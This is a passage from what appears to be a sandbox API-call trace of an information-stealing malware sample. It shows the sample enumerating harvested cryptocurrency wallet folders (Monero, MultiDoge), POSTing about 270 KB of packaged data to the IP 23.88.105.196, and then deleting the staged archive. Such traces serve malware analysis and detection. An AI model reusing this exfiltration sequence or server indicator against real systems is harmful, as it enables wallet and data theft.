lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero\\.." [0102.338] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Monero" | out: lpString1="\\Wallets\\Monero") returned="\\Wallets\\Monero" [0102.339] lstrcatW (in: lpString1="\\Wallets\\Monero", lpString2="\\" | out: lpString1="\\Wallets\\Monero\\") returned="\\Wallets\\Monero\\" [0102.339] lstrcatW (in: lpString1="\\Wallets\\Monero\\", lpString2=".." | out: lpString1="\\Wallets\\Monero\\..") returned="\\Wallets\\Monero\\.." [0102.339] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.339] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.339] FindNextFileW (in: hFindFile=0x6d15d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c4fce, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c4fce, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c4fce, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.339] FindClose (in: hFindFile=0x6d15d8 | out: hFindFile=0x6d15d8) returned 1 [0102.339] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0102.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero", cchWideChar=62, lpMultiByteStr=0x2112cd8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero", lpUsedDefaultChar=0x0) returned 62 [0102.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2116858, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.339] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116858 | out: hHeap=0x2110000) returned 1 [0102.339] PathMatchSpecW (pszFile="Monero", pszSpec="*.*") returned 1 [0102.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0102.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero", cchWideChar=62, lpMultiByteStr=0x2112df8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero", lpUsedDefaultChar=0x0) returned 62 [0102.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Monero", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Monero", cchWideChar=16, lpMultiByteStr=0x2112fe8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\Monero", lpUsedDefaultChar=0x0) returned 16 [0102.340] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fe8 | out: hHeap=0x2110000) returned 1 [0102.340] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\monero"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.340] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112e88 | out: hHeap=0x2110000) returned 1 [0102.340] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0102.340] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.340] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\monero")) returned 0 [0102.340] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112780 | out: hHeap=0x2110000) returned 1 [0102.340] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b78a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b78a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b78a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MultiDoge", cAlternateFileName="MULTID~1")) returned 1 [0102.340] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.340] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\" [0102.340] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\", lpString2="MultiDoge" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge" [0102.340] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0102.340] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0102.340] lstrcatW (in: lpString1="\\Wallets\\", lpString2="MultiDoge" | out: lpString1="\\Wallets\\MultiDoge") returned="\\Wallets\\MultiDoge" [0102.340] lstrcmpW (lpString1="MultiDoge", lpString2=".") returned 1 [0102.340] lstrcmpW (lpString1="MultiDoge", lpString2="..") returned 1 [0102.340] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge" [0102.340] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge\\*.*" [0102.340] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b78a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b78a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b78a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1818 [0102.340] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge" [0102.341] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge\\" [0102.341] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge\\." [0102.341] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\MultiDoge" | out: lpString1="\\Wallets\\MultiDoge") returned="\\Wallets\\MultiDoge" [0102.341] lstrcatW (in: lpString1="\\Wallets\\MultiDoge", lpString2="\\" | out: lpString1="\\Wallets\\MultiDoge\\") returned="\\Wallets\\MultiDoge\\" [0102.341] lstrcatW (in: lpString1="\\Wallets\\MultiDoge\\", lpString2="." | out: lpString1="\\Wallets\\MultiDoge\\.") returned="\\Wallets\\MultiDoge\\." [0102.341] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.341] FindNextFileW (in: hFindFile=0x6d1818, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b78a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b78a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b78a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.341] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge" [0102.341] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge\\" [0102.341] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge\\.." [0102.341] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\MultiDoge" | out: lpString1="\\Wallets\\MultiDoge") returned="\\Wallets\\MultiDoge" [0102.341] lstrcatW (in: lpString1="\\Wallets\\MultiDoge", lpString2="\\" | out: lpString1="\\Wallets\\MultiDoge\\") returned="\\Wallets\\MultiDoge\\" [0102.341] lstrcatW (in: lpString1="\\Wallets\\MultiDoge\\", lpString2=".." | out: lpString1="\\Wallets\\MultiDoge\\..") returned="\\Wallets\\MultiDoge\\.." [0102.341] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.341] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.341] FindNextFileW (in: hFindFile=0x6d1818, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b78a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b78a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b78a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.341] FindClose (in: hFindFile=0x6d1818 | out: hFindFile=0x6d1818) returned 1 [0102.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0102.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge", cchWideChar=65, lpMultiByteStr=0x33ab888, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge", lpUsedDefaultChar=0x0) returned 65 [0102.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2116858, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.342] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116858 | out: hHeap=0x2110000) returned 1 [0102.342] PathMatchSpecW (pszFile="MultiDoge", pszSpec="*.*") returned 1 [0102.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0102.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge", cchWideChar=65, lpMultiByteStr=0x33ab7e8, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\MultiDoge", lpUsedDefaultChar=0x0) returned 65 [0102.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\MultiDoge", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0102.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\MultiDoge", cchWideChar=19, lpMultiByteStr=0x3430ca0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\MultiDoge", lpUsedDefaultChar=0x0) returned 19 [0102.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0102.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", cchWideChar=55, lpMultiByteStr=0x33aaca0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpUsedDefaultChar=0x0) returned 55 [0102.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x21169b8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.342] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169b8 | out: hHeap=0x2110000) returned 1 [0102.342] PathMatchSpecW (pszFile="Wallets", pszSpec="*.*") returned 1 [0102.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0102.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", cchWideChar=55, lpMultiByteStr=0x33aade0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpUsedDefaultChar=0x0) returned 55 [0102.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0102.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets", cchWideChar=9, lpMultiByteStr=0x21130f0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets", lpUsedDefaultChar=0x0) returned 9 [0102.343] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130f0 | out: hHeap=0x2110000) returned 1 [0102.343] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.343] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112db0 | out: hHeap=0x2110000) returned 1 [0102.343] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430588 | out: hHeap=0x2110000) returned 1 [0102.343] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.343] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets")) returned 0 [0102.343] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b28 | out: hHeap=0x2110000) returned 1 [0102.343] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e366c, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e366c, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326e366c, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallets", cAlternateFileName="")) returned 0 [0102.343] FindClose (in: hFindFile=0x6d1cd8 | out: hFindFile=0x6d1cd8) returned 1 [0102.343] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21175c0 | out: hHeap=0x2110000) returned 1 [0102.343] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f40 | out: hHeap=0x2110000) returned 1 [0102.346] GetLastError () returned 0x0 [0102.347] SetLastError (dwErrCode=0x0) [0102.347] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0102.347] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f624, dwBufferLength=0x4) returned 1 [0102.347] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0102.348] InternetSetOptionA (hInternet=0xcc0008, dwOption=0x41, lpBuffer=0x1, dwBufferLength=0x0) returned 0 [0102.348] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0102.348] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0102.348] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0102.348] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0102.348] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0102.348] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f40 | out: hHeap=0x2110000) returned 1 [0102.349] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A", dwHeadersLength=0x3f, dwModifiers=0x20000000) returned 1 [0102.349] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Length: 270695", dwHeadersLength=0x16, dwModifiers=0x20000000) returned 1 [0102.349] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x3330048*, dwOptionalLength=0x42167) returned 1 [0103.088] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2e, lpBuffer=0x19f6b4, lpdwBufferLength=0x19f620, lpdwIndex=0x0 | out: lpBuffer=0x19f6b4, lpdwBufferLength=0x19f620, lpdwIndex=0x0) returned 0 [0103.093] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.093] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363e020, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f4a4 | out: lpBuffer=0x363e020*, lpdwNumberOfBytesRead=0x19f4a4*=0x2) returned 1 [0103.094] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363e022, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f4a4 | out: lpBuffer=0x363e022*, lpdwNumberOfBytesRead=0x19f4a4*=0x0) returned 1 [0103.094] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f4ec, lpdwBufferLength=0x19f4a4, lpdwIndex=0x0 | out: lpBuffer=0x19f4ec, lpdwBufferLength=0x19f4a4, lpdwIndex=0x0) returned 0 [0103.094] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0103.143] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab428 | out: hHeap=0x2110000) returned 1 [0103.143] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0103.143] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0103.147] DeleteFileA (lpFileName="03845cb8-7441-4a2f-8c0f-c90408af57786490535655.zip" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\03845cb8-7441-4a2f-8c0f-c90408af57786490535655.zip")) returned 1 [0103.160] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x7a120) returned 0x3430f40 [0103.172] GetLastError () returned 0x0 [0103.172] SetLastError (dwErrCode=0x0) [0103.172] lstrcatA (in: lpString1="", lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0103.178] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x3430048 [0103.178] Sleep (dwMilliseconds=0x64) [0103.343] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f388 | out: lpSystemTimeAsFileTime=0x19f388*(dwLowDateTime=0x36499aa5, dwHighDateTime=0x1d7b3bd)) [0103.351] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2) returned 0x2116988 [0103.351] GetTickCount () returned 0x15aaf96 [0103.351] GetLastError () returned 0x0 [0103.352] SetLastError (dwErrCode=0x0) [0103.352] GetLastError () returned 0x0 [0103.352] SetLastError (dwErrCode=0x0) [0103.356] GetLastError () returned 0x0 [0103.356] SetLastError (dwErrCode=0x0) [0103.356] GetLastError () returned 0x0 [0103.356] SetLastError (dwErrCode=0x0) [0103.356] GetLastError () returned 0x0 [0103.356] SetLastError (dwErrCode=0x0) [0103.356] GetLastError () returned 0x0 [0103.356] SetLastError (dwErrCode=0x0) [0103.356] GetLastError () returned 0x0 [0103.356] SetLastError (dwErrCode=0x0) [0103.356] GetLastError () returned 0x0 [0103.356] SetLastError (dwErrCode=0x0) [0103.356] GetLastError () returned 0x0 [0103.356] SetLastError (dwErrCode=0x0) [0103.356] GetLastError () returned 0x0 [0103.356] SetLastError (dwErrCode=0x0) [0103.357] GetLastError () returned 0x0 [0103.357] SetLastError (dwErrCode=0x0) [0103.357] GetLastError () returned 0x0 [0103.357] SetLastError (dwErrCode=0x0) [0103.357] GetLastError () returned 0x0 [0103.357] SetLastError (dwErrCode=0x0) [0103.357] GetLastError () returned 0x0 [0103.357] SetLastError (dwErrCode=0x0) [0103.357] GetLastError () returned 0x0 [0103.357] SetLastError (dwErrCode=0x0) [0103.357] GetLastError () returned 0x0 [0103.357] SetLastError (dwErrCode=0x0) [0103.357] 